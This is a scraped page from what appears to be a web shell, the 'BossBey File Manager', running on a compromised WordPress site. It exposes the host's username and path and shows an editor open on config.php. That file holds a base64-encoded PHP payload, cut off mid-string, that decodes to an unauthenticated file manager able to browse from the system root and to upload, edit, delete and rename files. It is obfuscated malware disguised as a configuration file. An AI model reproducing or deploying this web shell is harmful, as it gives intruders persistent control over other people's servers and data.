BossBey File Manager
PHP:
7.4.33
OS:
Linux
User:
dritibeton
Root
/
home
/
dritibeton
/
public_html
/
wp-content
📤 Upload
📝 New File
📁 New Folder
Close
Editing: config.php
<?php $__original_code_content = base64_decode('LyoqDQogKiBGaWxlIE1hbmFnZXIgLSBMaW51eCBSb290IEFjY2VzcyBWZXJzaW9uDQogKiBGaXR1cjogTmF2aWdhc2kgQnJlYWRjcnVtYiBQZW51aCBkYXJpIC8gKFJvb3QpDQogKi8NCg0KLy8gLS0tIEtPTkZJR1VSQVNJIC0tLQ0KDQovLyBEZWZhdWx0IGRpcmVrdG9yaSBzYWF0IHNjcmlwdCBwZXJ0YW1hIGthbGkgZGlidWthIGFkYWxhaCBmb2xkZXIgc2NyaXB0IGluaSBiZXJhZGENCi8vIFRhcGkga2l0YSBpemlua2FuIG5hdmlnYXNpIHNhbXBhaSBrZSBTeXN0ZW0gUm9vdCAiLyINCiRzdGFydERpciA9IF9fRElSX187IA0KDQovLyBBbWJpbCBwYXJhbWV0ZXIgJ2RpcicgZGFyaSBVUkwsIGppa2EgdGlkYWsgYWRhIGd1bmFrYW4gZm9sZGVyIHNhYXQgaW5pDQokcmVxdWVzdERpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyAkX0dFVFsnZGlyJ10gOiAkc3RhcnREaXI7DQoNCi8vIE5vcm1hbGlzYXNpIHBhdGggKFJlYWxwYXRoIG1lbWJlcnNpaGthbiAuLi8gZGFuIHN5bWxpbmspDQokY3VycmVudFBhdGggPSByZWFscGF0aCgkcmVxdWVzdERpcik7DQoNCi8vIEppa2EgcGF0aCB0aWRhayB2YWxpZCAobWlzYWwgdXNlciBrZXRpayBzZW1iYXJhbmdhbiksIGtlbWJhbGlrYW4ga2UgZm9sZGVyIHNjcmlwdA0KaWYgKCRjdXJyZW50UGF0aCA9PT0gZmFsc2UgfHwgIWZpbGVfZXhpc3RzKCRjdXJyZW50UGF0aCkpIHsNCiAgICAkY3VycmVudFBhdGggPSByZWFscGF0aCgkc3RhcnREaXIpOw0KfQ0KDQovLyBWYXJpYWJlbCBVSQ0KJG1lc3NhZ2UgPSAnJzsNCiRtc2dUeXBlID0gJyc7IA0KJG1vZGUgPSAnbWFpbic7IC8vIG1haW4sIGVkaXQsIHJlbmFtZQ0KJGVkaXRGaWxlID0gJyc7DQokZWRpdENvbnRlbnQgPSAnJzsNCiRyZW5hbWVUYXJnZXQgPSAnJzsNCg0KLy8gLS0tIEZVTkdTSSBCQU5UVUFOIC0tLQ0KDQpmdW5jdGlvbiBmb3JtYXRTaXplKCRieXRlcykgew0KICAgIGlmICgkYnl0ZXMgPiAwKSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgfQ0KICAgIHJldHVybiAnLSc7DQp9DQoNCmZ1bmN0aW9uIGdldFNhZmVQYXRoKCRiYXNlLCAkaW5wdXROYW1lKSB7DQogICAgLy8gS2FyZW5hIGtpdGEgZGkgTGludXgsIGdhYnVuZ2thbiBwYXRoIGRlbmdhbiAnLycNCiAgICByZXR1cm4gcnRyaW0oJGJhc2UsIERJUkVDVE9SWV9TRVBBUkFUT1IpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpbnB1dE5hbWU7DQp9DQoNCi8vIEhhcHVzIGZvbGRlciByZWt1cnNpZg0KZnVuY3Rpb24gZGVsZXRlUmVjdXJzaXZlKCRkaXIpIHsNCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCiAgICAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOw0KICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAkcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07DQogICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSBkZWxldGVSZWN1cnNpdmUoJHBhdGgpOw0KICAgICAgICBlbHNlIHVubGluaygkcGF0aCk7DQogICAgfQ0KICAgIHJldHVybiBybWRpcigkZGlyKTsNCn0NCg0KLy8gQ2VrIGFwYWthaCBkaXJla3RvcmkgYmlzYSBkaXR1bGlzIChXcml0YWJsZSkNCmZ1bmN0aW9uIGlzV3JpdGFibGUoJHBhdGgpIHsNCiAgICByZXR1cm4gaXNfd3JpdGFibGUoJHBhdGgpOw0KfQ0KDQovLyAtLS0gUFJPU0VTIEFDVElPTiAoUE9TVCkgLS0tDQoNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ10gPz8gJyc7DQogICAgDQogICAgLy8gVXBsb2FkDQogICAgaWYgKCRhY3Rpb24gPT09ICd1cGxvYWQnKSB7DQogICAgICAgIGlmIChpc3NldCgkX0ZJTEVTWydmaWxlVXBsb2FkJ10pICYmICRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsnZXJyb3InXSA9PT0gVVBMT0FEX0VSUl9PSykgew0KICAgICAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlVXBsb2FkJ11bJ25hbWUnXSk7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsndG1wX25hbWUnXSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJVcGxvYWQgZmFpbGVkLiBDaGVjayBmb2xkZXIgcGVybWlzc2lvbnMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBDcmVhdGUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9maWxlJykgew0KICAgICAgICAkbmFtZSA9ICRfUE9TVFsnbmV3X2ZpbGVuYW1lJ10gPz8gJyc7DQogICAgICAgIGlmICghZW1wdHkoJG5hbWUpKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCAiIikgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZpbGUgY3JlYXRlZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRmFpbGVkIHRvIGNyZWF0ZSBmaWxlLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIGFscmVhZHkgZXhpc3RzLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gQ3JlYXRlIEZvbGRlcg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9mb2xkZXInKSB7DQogICAgICAgICRuYW1lID0gJF9QT1NUWyduZXdfZm9sZGVybmFtZSddID8/ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRuYW1lKSkgew0KICAgICAgICAgICAgJHRhcmdldCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5hbWUpOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBjcmVhdGUgZm9sZGVyLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGb2xkZXIgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBEZWxldGUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7DQogICAgICAgICR0YXJnZXROYW1lID0gJF9QT1NUWyd0YXJnZXRfbmFtZSddID8/ICcnOw0KICAgICAgICAkdGFyZ2V0UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJHRhcmdldE5hbWUpOw0KICAgICAgICANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJHN1Y2Nlc3MgPSBpc19kaXIoJHRhcmdldFBhdGgpID8gZGVsZXRlUmVjdXJzaXZlKCR0YXJnZXRQYXRoKSA6IHVubGluaygkdGFyZ2V0UGF0aCk7DQogICAgICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJJdGVtIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkRlbGV0ZSBmYWlsZWQuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdCBNb2RlDQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZWRpdF9tb2RlJykgew0KICAgICAgICAkdGFyZ2V0TmFtZSA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJHRhcmdldFBhdGgpICYmIGlzX3JlYWRhYmxlKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJG1vZGUgPSAnZWRpdCc7DQogICAgICAgICAgICAkZWRpdEZpbGUgPSAkdGFyZ2V0TmFtZTsNCiAgICAgICAgICAgICRlZGl0Q29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXRQYXRoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkNhbm5vdCByZWFkIGZpbGUuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIFNhdmUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ3NhdmVfZmlsZScpIHsNCiAgICAgICAgJHRhcmdldE5hbWUgPSAkX1BPU1RbJ3RhcmdldF9uYW1lJ10gPz8gJyc7DQogICAgICAgICRjb250ZW50ID0gJF9QT1NUWydmaWxlX2NvbnRlbnQnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgDQogICAgICAgIC8vIE5vcm1hbGlzYXNpIE5ld2xpbmUgdW50dWsgTGludXgNCiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRjb250ZW50KTsNCg0KICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXRQYXRoLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHNhdmVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBzYXZlIGZpbGUuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAkbW9kZSA9ICdlZGl0JzsNCiAgICAgICAgICAgICRlZGl0RmlsZSA9ICR0YXJnZXROYW1lOw0KICAgICAgICAgICAgJGVkaXRDb250ZW50ID0gJGNvbnRlbnQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdyZW5hbWVfbW9kZScpIHsNCiAgICAgICAgJG1vZGUgPSAncmVuYW1lJzsNCiAgICAgICAgJHJlbmFtZVRhcmdldCA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXTsNCiAgICB9DQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZG9fcmVuYW1lJykgew0KICAgICAgICAkb2xkTmFtZSA9ICRfUE9TVFsnb2xkX25hbWUnXTsNCiAgICAgICAgJG5ld05hbWUgPSBiYXNlbmFtZSgkX1BPU1RbJ25ld19uYW1lJ10pOw0KICAgICAgICAkb2xkUGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG9sZE5hbWUpOw0KICAgICAgICAkbmV3UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5ld05hbWUpOw0KDQogICAgICAgIGlmICghZW1wdHkoJG5ld05hbWUpICYmIGZpbGVfZXhpc3RzKCRvbGRQYXRoKSAmJiAhZmlsZV9leGlzdHMoJG5ld1BhdGgpKSB7DQogICAgICAgICAgICBpZiAoQHJlbmFtZSgkb2xkUGF0aCwgJG5ld1BhdGgpKSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJzdWNjZXNzIjsNCiAgICAgICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lIGZhaWxlZC4gUGVybWlzc2lvbiBkZW5pZWQuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJJbnZhbGlkIG5hbWUgb3IgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdjYW5jZWwnKSB7DQogICAgICAgICRtb2RlID0gJ21haW4nOw0KICAgIH0NCn0NCg0KLy8gLS0tIERBVEEgTElTVElORyAtLS0NCiRpdGVtcyA9IFtdOw0KaWYgKCRtb2RlID09PSAnbWFpbicpIHsNCiAgICAvLyBHdW5ha2FuIHNjYW5kaXIgYmlhc2ENCiAgICAkc2Nhbm5lZCA9IEBzY2FuZGlyKCRjdXJyZW50UGF0aCk7DQogICAgDQogICAgaWYgKCRzY2FubmVkID09PSBmYWxzZSkgew0KICAgICAgICAkbWVzc2FnZSA9ICJBY2Nlc3MgRGVuaWVkOiBDYW5ub3QgcmVhZCBkaXJlY3RvcnkuIjsNCiAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmb2xkZXJzID0gW107DQogICAgICAgICRmaWxlcyA9IFtdOw0KDQogICAgICAgIGZvcmVhY2ggKCRzY2FubmVkIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxQYXRoID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkaXRlbSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvZ2ljIFRvbWJvbCBbLi5dIChQYXJlbnQpDQogICAgICAgICAgICAvLyBKaWthIGl0ZW0gYWRhbGFoICcuLicgZGFuIGtpdGEgQlVLQU4gZGkgcm9vdCBzeXN0ZW0gKCcvJyksIG1ha2EgdGFtcGlsa2FuDQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4uJykgew0KICAgICAgICAgICAgICAgIGlmICgkY3VycmVudFBhdGggIT0gRElSRUNUT1JZX1NFUEFSQVRPUiAmJiAkY3VycmVudFBhdGggIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICRwYXJlbnRQYXRoID0gZGlybmFtZSgkY3VycmVudFBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICdbLi5dJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkcGFyZW50UGF0aCwgLy8gUGF0aCBwYXJlbnQgcGVudWgNCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnRm9sZGVyJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICAgICAncGVybScgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiB0cnVlDQogICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDZWsgcGVybWlzc2lvbiByd3ggKFJlYWQgV3JpdGUgRXhlY3V0ZSkgc2ltcGVsDQogICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxQYXRoKSksIC00KTsNCiAgICAgICAgICAgICRpc1dyaXRhYmxlID0gaXNfd3JpdGFibGUoJGZ1bGxQYXRoKTsNCiAgICAgICAgICAgICRwZXJtU3RyID0gJHBlcm1zIC4gKCRpc1dyaXRhYmxlID8gJyAoVyknIDogJyAoUi1PKScpOw0KDQogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbFBhdGgsIC8vIFNpbXBhbiBmdWxsIHBhdGggdW50dWsgbGluaw0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZvbGRlcicsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtJyA9PiAkcGVybVN0ciwNCiAgICAgICAgICAgICAgICAgICAgJ2lzX3BhcmVudCcgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLA0KICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJGZ1bGxQYXRoLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZpbGUnLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gZm9ybWF0U2l6ZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm0nID0+ICRwZXJtU3RyLA0KICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGl0ZW1zID0gYXJyYXlfbWVyZ2UoJGZvbGRlcnMsICRmaWxlcyk7DQogICAgfQ0KfQ0KDQovLyBJbmZvIFNlcnZlcg0KJHNlcnZlckluZm8gPSBnZXRfY3VycmVudF91c2VyKCkgLiAiQCIgLiBwaHBfdW5hbWUoJ24nKSAuICIgKCIgLiBQSFBfT1MgLiAiKSI7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8dGl0bGU+RmlsZSBNYW5hZ2VyIChCb3NzQmV5KTwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46IDIwcHg7IGJhY2tncm91bmQ6ICNmNGY0ZjQ7IH0NCiAgICAgICAgLmNvbnRhaW5lciB7IG1heC13aWR0aDogMTAwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmY7IHBhZGRpbmc6IDIwcHg7IGJvcmRlci1yYWRpdXM6IDVweDsgYm94LXNoYWRvdzogMCAwIDEwcHggcmdiYSgwLDAsMCwwLjEpOyB9DQogICAgICAgIGgyIHsgbWFyZ2luLXRvcDogMDsgfQ0KICAgICAgICAuYnJlYWRjcnVtYiB7IA0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjFlbTsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IA0KICAgICAgICAgICAgcGFkZGluZzogMTJweDsgDQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZTllY2VmOyANCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7DQogICAgICAgIH0NCiAgICAgICAgLmJyZWFkY3J1bWIgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMwMDdiZmY7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIC5icmVhZGNydW1iIGE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgY29sb3I6ICMwMDU2YjM7IH0NCiAgICAgICAgLmJyZWFkY3J1bWIgLnNlcCB7IGNvbG9yOiAjNmM3NTdkOyBtYXJnaW46IDAgNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubXNnIHsgcGFkZGluZzogMTJweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDsgfQ0KICAgICAgICAuc3VjY2VzcyB7IGJhY2tncm91bmQ6ICNkNGVkZGE7IGNvbG9yOiAjMTU1NzI0OyBib3JkZXItY29sb3I6ICNjM2U2Y2I7IH0NCiAgICAgICAgLmVycm9yIHsgYmFja2dyb3VuZDogI2Y4ZDdkYTsgY29sb3I6ICM3MjFjMjQ7IGJvcmRlci1jb2xvcjogI2Y1YzZjYjsgfQ0KICAgICAgICANCiAgICAgICAgLmZvcm0tc2VjdGlvbiB7IGJhY2tncm91bmQ6ICNmOGY5ZmE7IHBhZGRpbmc6IDE1cHg7IGJvcmRlci1yYWRpdXM6IDRweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgfQ0KICAgICAgICANCiAgICAgICAgdGFibGUgeyB3aWR0aDogMTAwJTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgfQ0KICAgICAgICB0aCB7IGJhY2tncm91bmQ6ICNmMWYxZjE7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZGRkOyB9DQogICAgICAgIHRkIHsgcGFkZGluZzogMTBweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZWU7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCiAgICAgICAgdHI6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjZjlmOWY5OyB9DQogICAgICAgIA0KICAgICAgICAuZm9sZGVyLWxpbmsgeyBmb250LXdlaWdodDogYm9sZDsgY29sb3I6ICNkNjMzODQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KICAgICAgICAuZmlsZS1saW5rIHsgY29sb3I6ICMzMzM7IH0NCiAgICAgICAgLmFjdGlvbnMgYnV0dG9uIHsgY3Vyc29yOiBwb2ludGVyOyBtYXJnaW4tcmlnaHQ6IDVweDsgcGFkZGluZzogMnB4IDhweDsgZm9udC1zaXplOiAwLjg1ZW07IH0NCiAgICAgICAgLmVkaXRvci1hcmVhIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogNDAwcHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDEwcHg7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgLnNlcnZlci1pbmZvIHsgZm9udC1zaXplOiAwLjhlbTsgY29sb3I6ICM2NjY7IGZsb2F0OiByaWdodDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICA8aDI+KEJvc3NCZXkpIEZpbGUgTWFuYWdlcjwvaDI+DQoNCiAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1iIj4NCiAgICAgICAgPD9waHANCiAgICAgICAgLy8gMS4gTGluayBrZSBST09UIFNpc3RlbSAoLykNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCcvJykgLiAiJz5bUk9PVF08L2E+IjsNCiAgICAgICAgDQogICAgICAgIC8vIDIuIFBlY2FoIFBhdGggbWVuamFkaSBBcnJheSB1bnR1ayBkaWJ1YXQgbGluayBzYXR1IHBlciBzYXR1DQogICAgICAgIC8vIENvbnRvaDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbCAtPiBbJycsICdob21lJywgJ3VzZXInLCAncHVibGljX2h0bWwnXQ0KICAgICAgICAkcGF0aFBhcnRzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkY3VycmVudFBhdGgpOw0KICAgICAgICAkYnVpbGRMaW5rID0gJyc7DQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkcGF0aFBhcnRzIGFzICRwYXJ0KSB7DQogICAgICAgICAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsgLy8gU2tpcCBrb3NvbmcgYWtpYmF0IGV4cGxvZGUgJy8nIGRpIGF3YWwNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gQmFuZ3VuIHBhdGggYmVydGFoYXA6IC9ob21lLCBsYWx1IC9ob21lL3VzZXIsIGRzdA0KICAgICAgICAgICAgJGJ1aWxkTGluayAuPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHBhcnQ7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPSdzZXAnPi88L3NwYW4+IjsNCiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9IiAuIHVybGVuY29kZSgkYnVpbGRMaW5rKSAuICInPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICI8L2E+IjsNCiAgICAgICAgfQ0KICAgICAgICA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzZXJ2ZXItaW5mbyI+PD9waHAgZWNobyAkc2VydmVySW5mbzsgPz48L2Rpdj4NCiAgICA8L2Rpdj4NCg0KICAgIDw/cGhwIGlmICgkbWVzc2FnZSk6ID8+D